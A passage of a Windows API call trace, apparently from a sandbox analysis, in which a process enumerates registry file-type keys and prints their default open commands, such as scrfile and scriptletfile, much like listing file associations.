(in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x67, lpOverlapped=0x0) returned 1 [0101.574] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc74, lpName=0x2eef50, cchName=0x104 | out: lpName="SBEServer.AudioCD") returned 0x0 [0101.574] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SBEServer.AudioCD\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.574] SetLastError (dwErrCode=0x2) [0101.574] RegCloseKey (hKey=0x0) returned 0x6 [0101.574] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc75, lpName=0x2eef50, cchName=0x104 | out: lpName="SBEServer.AudioCD.1") returned 0x0 [0101.574] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SBEServer.AudioCD.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.575] SetLastError (dwErrCode=0x2) [0101.575] RegCloseKey (hKey=0x0) returned 0x6 [0101.575] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc76, lpName=0x2eef50, cchName=0x104 | out: lpName="SBEServer.BurnDevice") returned 0x0 [0101.575] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SBEServer.BurnDevice\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.575] SetLastError (dwErrCode=0x2) [0101.575] RegCloseKey (hKey=0x0) returned 0x6 [0101.575] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc77, lpName=0x2eef50, cchName=0x104 | out: lpName="SBEServer.BurnDevice.1") returned 0x0 [0101.575] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SBEServer.BurnDevice.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.575] SetLastError (dwErrCode=0x2) [0101.575] RegCloseKey (hKey=0x0) returned 0x6 [0101.575] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc78, lpName=0x2eef50, cchName=0x104 | out: lpName="SBEServer.DataBurner") returned 0x0 [0101.575] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SBEServer.DataBurner\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.575] SetLastError (dwErrCode=0x2) [0101.575] RegCloseKey (hKey=0x0) returned 0x6 [0101.575] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc79, lpName=0x2eef50, cchName=0x104 | out: lpName="SBEServer.DataBurner.1") returned 0x0 [0101.575] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SBEServer.DataBurner.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.575] SetLastError (dwErrCode=0x2) [0101.575] RegCloseKey (hKey=0x0) returned 0x6 [0101.575] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc7a, lpName=0x2eef50, cchName=0x104 | out: lpName="SBEServer.DiscBurner") returned 0x0 [0101.575] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SBEServer.DiscBurner\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.575] SetLastError (dwErrCode=0x2) [0101.575] RegCloseKey (hKey=0x0) returned 0x6 [0101.575] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc7b, lpName=0x2eef50, cchName=0x104 | out: lpName="SBEServer.DiscBurner.1") returned 0x0 [0101.575] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SBEServer.DiscBurner.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.576] SetLastError (dwErrCode=0x2) [0101.576] RegCloseKey (hKey=0x0) returned 0x6 [0101.576] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc7c, lpName=0x2eef50, cchName=0x104 | out: lpName="SBEServer.SBEDeviceManager") returned 0x0 [0101.576] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SBEServer.SBEDeviceManager\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.576] SetLastError (dwErrCode=0x2) [0101.576] RegCloseKey (hKey=0x0) returned 0x6 [0101.576] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc7d, lpName=0x2eef50, cchName=0x104 | out: lpName="SBEServer.SBEDeviceManager.1") returned 0x0 [0101.576] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SBEServer.SBEDeviceManager.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.576] SetLastError (dwErrCode=0x2) [0101.576] RegCloseKey (hKey=0x0) returned 0x6 [0101.576] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc7e, lpName=0x2eef50, cchName=0x104 | out: lpName="SBEServer.VideoAudioBurner") returned 0x0 [0101.576] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SBEServer.VideoAudioBurner\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.576] SetLastError (dwErrCode=0x2) [0101.576] RegCloseKey (hKey=0x0) returned 0x6 [0101.576] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc7f, lpName=0x2eef50, cchName=0x104 | out: lpName="SBEServer.VideoAudioBurner.1") returned 0x0 [0101.576] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SBEServer.VideoAudioBurner.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.576] SetLastError (dwErrCode=0x2) [0101.576] RegCloseKey (hKey=0x0) returned 0x6 [0101.576] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc80, lpName=0x2eef50, cchName=0x104 | out: lpName="ScanProfiles.ScanProfileMgr") returned 0x0 [0101.576] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScanProfiles.ScanProfileMgr\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.576] SetLastError (dwErrCode=0x2) [0101.576] RegCloseKey (hKey=0x0) returned 0x6 [0101.576] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc81, lpName=0x2eef50, cchName=0x104 | out: lpName="ScanProfiles.ScanProfileMgr.1") returned 0x0 [0101.576] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScanProfiles.ScanProfileMgr.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.576] SetLastError (dwErrCode=0x2) [0101.577] RegCloseKey (hKey=0x0) returned 0x6 [0101.577] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc82, lpName=0x2eef50, cchName=0x104 | out: lpName="ScanProfiles.ScanProfileUI") returned 0x0 [0101.577] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScanProfiles.ScanProfileUI\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.577] SetLastError (dwErrCode=0x2) [0101.577] RegCloseKey (hKey=0x0) returned 0x6 [0101.577] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc83, lpName=0x2eef50, cchName=0x104 | out: lpName="ScanProfiles.ScanProfileUI.1") returned 0x0 [0101.577] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScanProfiles.ScanProfileUI.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.577] SetLastError (dwErrCode=0x2) [0101.577] RegCloseKey (hKey=0x0) returned 0x6 [0101.577] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc84, lpName=0x2eef50, cchName=0x104 | out: lpName="Schedule.Service") returned 0x0 [0101.577] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Schedule.Service\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.577] SetLastError (dwErrCode=0x2) [0101.577] RegCloseKey (hKey=0x0) returned 0x6 [0101.577] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc85, lpName=0x2eef50, cchName=0x104 | out: lpName="Schedule.Service.1") returned 0x0 [0101.577] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Schedule.Service.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.577] SetLastError (dwErrCode=0x2) [0101.577] RegCloseKey (hKey=0x0) returned 0x6 [0101.577] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc86, lpName=0x2eef50, cchName=0x104 | out: lpName="scrfile") returned 0x0 [0101.577] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="scrfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.577] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x10) returned 0x0 [0101.577] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c4770, lpcbData=0x2eef20*=0x10 | out: lpType=0x2eef28*=0x1, lpData="\"%1\" /S", lpcbData=0x2eef20*=0x10) returned 0x0 [0101.578] RegCloseKey (hKey=0x64) returned 0x0 [0101.578] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="scrfile=\"%1\" /S\r\n") returned 17 [0101.578] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.578] GetFileType (hFile=0x5c) returned 0x3 [0101.578] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.578] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="scrfile=\"%1\" /S\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scrfile=\"%1\" /S\r\n", lpUsedDefaultChar=0x0) returned 18 [0101.578] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x11, lpOverlapped=0x0) returned 1 [0101.578] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc87, lpName=0x2eef50, cchName=0x104 | out: lpName="script") returned 0x0 [0101.578] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="script\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.579] SetLastError (dwErrCode=0x2) [0101.579] RegCloseKey (hKey=0x0) returned 0x6 [0101.579] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc88, lpName=0x2eef50, cchName=0x104 | out: lpName="ScriptBridge.ScriptBridge") returned 0x0 [0101.579] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScriptBridge.ScriptBridge\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.580] SetLastError (dwErrCode=0x2) [0101.580] RegCloseKey (hKey=0x0) returned 0x6 [0101.580] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc89, lpName=0x2eef50, cchName=0x104 | out: lpName="ScriptBridge.ScriptBridge.1") returned 0x0 [0101.580] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScriptBridge.ScriptBridge.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.580] SetLastError (dwErrCode=0x2) [0101.580] RegCloseKey (hKey=0x0) returned 0x6 [0101.580] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc8a, lpName=0x2eef50, cchName=0x104 | out: lpName="ScriptControl") returned 0x0 [0101.580] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScriptControl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.580] SetLastError (dwErrCode=0x2) [0101.580] RegCloseKey (hKey=0x0) returned 0x6 [0101.580] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc8b, lpName=0x2eef50, cchName=0x104 | out: lpName="ScriptedDiag.Engine") returned 0x0 [0101.580] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScriptedDiag.Engine\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.580] SetLastError (dwErrCode=0x2) [0101.580] RegCloseKey (hKey=0x0) returned 0x6 [0101.580] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc8c, lpName=0x2eef50, cchName=0x104 | out: lpName="ScriptedDiag.Engine.1") returned 0x0 [0101.580] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScriptedDiag.Engine.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.580] SetLastError (dwErrCode=0x2) [0101.580] RegCloseKey (hKey=0x0) returned 0x6 [0101.580] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc8d, lpName=0x2eef50, cchName=0x104 | out: lpName="Scripting.Dictionary") returned 0x0 [0101.580] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Scripting.Dictionary\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.580] SetLastError (dwErrCode=0x2) [0101.580] RegCloseKey (hKey=0x0) returned 0x6 [0101.580] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc8e, lpName=0x2eef50, cchName=0x104 | out: lpName="Scripting.Encoder") returned 0x0 [0101.580] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Scripting.Encoder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.580] SetLastError (dwErrCode=0x2) [0101.580] RegCloseKey (hKey=0x0) returned 0x6 [0101.580] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc8f, lpName=0x2eef50, cchName=0x104 | out: lpName="Scripting.FileSystemObject") returned 0x0 [0101.580] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Scripting.FileSystemObject\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.580] SetLastError (dwErrCode=0x2) [0101.580] RegCloseKey (hKey=0x0) returned 0x6 [0101.580] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc90, lpName=0x2eef50, cchName=0x104 | out: lpName="Scripting.Signer") returned 0x0 [0101.580] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Scripting.Signer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.581] SetLastError (dwErrCode=0x2) [0101.581] RegCloseKey (hKey=0x0) returned 0x6 [0101.581] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc91, lpName=0x2eef50, cchName=0x104 | out: lpName="scriptlet") returned 0x0 [0101.581] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="scriptlet\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.581] SetLastError (dwErrCode=0x2) [0101.581] RegCloseKey (hKey=0x0) returned 0x6 [0101.581] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc92, lpName=0x2eef50, cchName=0x104 | out: lpName="Scriptlet.Behavior") returned 0x0 [0101.581] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Scriptlet.Behavior\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.581] SetLastError (dwErrCode=0x2) [0101.581] RegCloseKey (hKey=0x0) returned 0x6 [0101.581] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc93, lpName=0x2eef50, cchName=0x104 | out: lpName="Scriptlet.Constructor") returned 0x0 [0101.581] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Scriptlet.Constructor\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.581] SetLastError (dwErrCode=0x2) [0101.581] RegCloseKey (hKey=0x0) returned 0x6 [0101.581] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc94, lpName=0x2eef50, cchName=0x104 | out: lpName="Scriptlet.Context") returned 0x0 [0101.581] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Scriptlet.Context\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.581] SetLastError (dwErrCode=0x2) [0101.581] RegCloseKey (hKey=0x0) returned 0x6 [0101.581] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc95, lpName=0x2eef50, cchName=0x104 | out: lpName="Scriptlet.Factory") returned 0x0 [0101.581] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Scriptlet.Factory\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.581] SetLastError (dwErrCode=0x2) [0101.581] RegCloseKey (hKey=0x0) returned 0x6 [0101.581] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc96, lpName=0x2eef50, cchName=0x104 | out: lpName="Scriptlet.HiFiTimer") returned 0x0 [0101.581] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Scriptlet.HiFiTimer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.581] SetLastError (dwErrCode=0x2) [0101.581] RegCloseKey (hKey=0x0) returned 0x6 [0101.581] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc97, lpName=0x2eef50, cchName=0x104 | out: lpName="Scriptlet.HostEncode") returned 0x0 [0101.581] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Scriptlet.HostEncode\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.581] SetLastError (dwErrCode=0x2) [0101.581] RegCloseKey (hKey=0x0) returned 0x6 [0101.581] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc98, lpName=0x2eef50, cchName=0x104 | out: lpName="Scriptlet.SvrOm") returned 0x0 [0101.581] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Scriptlet.SvrOm\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.582] SetLastError (dwErrCode=0x2) [0101.582] RegCloseKey (hKey=0x0) returned 0x6 [0101.582] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc99, lpName=0x2eef50, cchName=0x104 | out: lpName="Scriptlet.TypeLib") returned 0x0 [0101.582] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Scriptlet.TypeLib\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.582] SetLastError (dwErrCode=0x2) [0101.582] RegCloseKey (hKey=0x0) returned 0x6 [0101.582] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc9a, lpName=0x2eef50, cchName=0x104 | out: lpName="scriptletfile") returned 0x0 [0101.582] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="scriptletfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.582] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x4e) returned 0x0 [0101.582] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x4e | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Windows\\system32\\NOTEPAD.EXE\" \"%1\"", lpcbData=0x2eef20*=0x4e) returned 0x0 [0101.582] RegCloseKey (hKey=0x64) returned 0x0 [0101.582] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="scriptletfile=\"C:\\Windows\\system32\\NOTEPAD.EXE\" \"%1\"\r\n") returned 54 [0101.582] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.582] GetFileType (hFile=0x5c) returned 0x3 [0101.582] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.582] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="scriptletfile=\"C:\\Windows\\system32\\NOTEPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scriptletfile=\"C:\\Windows\\system32\\NOTEPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 55 [0101.582] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x36, lpOverlapped=0x0) returned 1 [0101.582] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc9b, lpName=0x2eef50, cchName=0x104 | out: lpName="ScriptletHandler.ASP") returned 0x0 [0101.582] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScriptletHandler.ASP\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.582] SetLastError (dwErrCode=0x2) [0101.582] RegCloseKey (hKey=0x0) returned 0x6 [0101.583] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc9c, lpName=0x2eef50, cchName=0x104 | out: lpName="ScriptletHandler.Automation") returned 0x0 [0101.583] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScriptletHandler.Automation\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.583] SetLastError (dwErrCode=0x2) [0101.583] RegCloseKey (hKey=0x0) returned 0x6 [0101.583] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc9d, lpName=0x2eef50, cchName=0x104 | out: lpName="ScriptletHandler.Behavior") returned 0x0 [0101.583] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScriptletHandler.Behavior\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.583] SetLastError (dwErrCode=0x2) [0101.583] RegCloseKey (hKey=0x0) returned 0x6 [0101.583] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc9e, lpName=0x2eef50, cchName=0x104 | out: lpName="ScriptletHandler.Event") returned 0x0 [0101.583] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScriptletHandler.Event\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.583] SetLastError (dwErrCode=0x2) [0101.583] RegCloseKey (hKey=0x0) returned 0x6 [0101.583] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc9f, lpName=0x2eef50, cchName=0x104 | out: lpName="ScriptoSys.Scripto") returned 0x0 [0101.583] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScriptoSys.Scripto\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.583] SetLastError (dwErrCode=0x2) [0101.583] RegCloseKey (hKey=0x0) returned 0x6 [0101.583] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca0, lpName=0x2eef50, cchName=0x104 | out: lpName="ScriptoSys.Scripto.1") returned 0x0 [0101.583] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ScriptoSys.Scripto.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.583] SetLastError (dwErrCode=0x2) [0101.583] RegCloseKey (hKey=0x0) returned 0x6 [0101.583] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca1, lpName=0x2eef50, cchName=0x104 | out: lpName="SDBACKUPCONFIG.SdBackupConfig") returned 0x0 [0101.583] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDBACKUPCONFIG.SdBackupConfig\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.583] SetLastError (dwErrCode=0x2) [0101.583] RegCloseKey (hKey=0x0) returned 0x6 [0101.583] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca2, lpName=0x2eef50, cchName=0x104 | out: lpName="SDBACKUPCONFIG.SdBackupConfig.1") returned 0x0 [0101.583] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDBACKUPCONFIG.SdBackupConfig.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.583] SetLastError (dwErrCode=0x2) [0101.583] RegCloseKey (hKey=0x0) returned 0x6 [0101.583] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca3, lpName=0x2eef50, cchName=0x104 | out: lpName="sdchange.sdchangeobj") returned 0x0 [0101.584] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="sdchange.sdchangeobj\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.584] SetLastError (dwErrCode=0x2) [0101.584] RegCloseKey (hKey=0x0) returned 0x6 [0101.584] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca4, lpName=0x2eef50, cchName=0x104 | out: lpName="sdchange.sdchangeobj.1") returned 0x0 [0101.584] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="sdchange.sdchangeobj.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.584] SetLastError (dwErrCode=0x2) [0101.584] RegCloseKey (hKey=0x0) returned 0x6 [0101.584] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca5, lpName=0x2eef50, cchName=0x104 | out: lpName="SDConfig.AutoPlayHandler") returned 0x0 [0101.584] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDConfig.AutoPlayHandler\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.584] SetLastError (dwErrCode=0x2) [0101.584] RegCloseKey (hKey=0x0) returned 0x6 [0101.584] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca6, lpName=0x2eef50, cchName=0x104 | out: lpName="SDConfig.AutoPlayHandler.1") returned 0x0 [0101.584] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDConfig.AutoPlayHandler.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.584] SetLastError (dwErrCode=0x2) [0101.584] 